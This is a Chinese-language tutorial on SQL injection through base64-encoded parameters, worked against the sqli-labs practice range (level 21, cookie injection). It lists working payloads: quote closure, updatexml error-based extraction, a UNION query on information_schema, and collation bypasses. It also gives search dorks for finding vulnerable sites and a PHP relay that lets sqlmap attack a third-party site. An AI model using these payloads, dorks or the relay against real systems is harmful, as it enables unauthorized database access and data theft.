注入简介
什么是base64注入?
base64注入是针对传递的参数被base64加密后的注入点进行注入。除了数据被加密意外,其中注入方式与常规注入一般无二
编码工具选择
在线工具:http://tool.oschina.net/encrypt?type=3
也可以使用burp中自带的编码模块(decoder)
如何发现此漏洞?
在互联网系统中,目前遇到两种base64加密传参方式
第一种,例如id=1,把id=1全部加密处理,得到aWQ9MQ==,直接搜索inurl:?aWQ0
第二种,只处理传参值,得到id=MQ==,搜索inurl:?id=M*=
注入实现
靶场选择
此处继续选用sqlilabs作为测试靶场,第21关,是关于cookie的base64变形注入
漏洞复现
打开靶场所在url,是一个登录界面输入用户名密码,admin/666666,登陆成功,界面如下图
从上图可以看到,系统返回了我们的cookie值,并且进行了编码,这里我们可以使用抓包修改cookie,经过解码,YWRtaW4 =的值是admin,对admin'进行编码,观察页面变化,如下图
尝试闭合原语句,payload:admin')#,如下图
由于这里发生mysql报错,直接尝试报错注入,payload:admin') and updatexml(1,concat(0x7e,database()),1)#,如下图
知识扩展
再继续测试的过程中可能会遇到,提示:Error: Illegal mix of collations for operation 'UNION',这种错误的成因是因为编码的缘故,字符集的编码不同所导致的,要解决就配合convart、using latin1函数来解决。
CONVERT() 函数是把日期转换为新数据类型的通用函数。
大致poyload如下
UNION SELECT 1,2,3,4,5,6,7,convert(Table_Name using latin1) from information_schema.tables Where table_Schema=database()--+
参考文章:https://www.2cto.com/article/201202/121073.html
There are 3 ways to bypass this error:
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
Other ways (Thanks to benzi):
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)
自动化工具
sqlmap
原则上,只要抓包加上–tamper base64encode扩展模块就可以了,未实验
第二个姿势,针对get型,可以尝试写一个demo
命名为test.php,如下
<?php
$id = base64_encode("id=".$_GET['id']);
echo file_get_contents("http://www.xxxx.com/xxx.php?{$id}");
?>
注意:xxx.php是原网站页面,结下了sqlmap语句可以直接写成
sqlmap-u "http://127.0.0.1/test.php?id=12" -v3
暂时这些吧